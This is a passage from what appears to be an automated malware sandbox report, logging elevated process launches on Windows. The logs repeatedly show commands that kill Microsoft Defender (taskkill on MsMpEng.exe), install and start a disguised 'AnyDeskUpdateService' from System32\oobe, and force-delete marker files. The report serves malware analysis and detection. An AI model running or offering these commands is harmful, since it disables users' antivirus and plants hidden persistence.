Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff66e660000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	20:26:23
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	20:26:23
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	20:26:23
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	20:26:23
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff799c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	20:26:24
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff7934f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	20:26:27
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	20:26:27
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	20:26:27
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	20:26:28
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	20:26:28
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	20:26:28
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	20:26:30
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	20:26:30
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	20:26:30
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	20:26:30
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	20:26:30
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	20:26:31
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	20:26:34
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	20:26:36
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	20:26:36
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	20:26:36
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	20:26:36
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	119
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	20:26:37
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	20:26:40
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	129
Start time:	20:26:40
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	20:26:40
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	131
Start time:	20:26:40
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	132
Start time:	20:26:41
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	133
Start time:	20:26:41
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
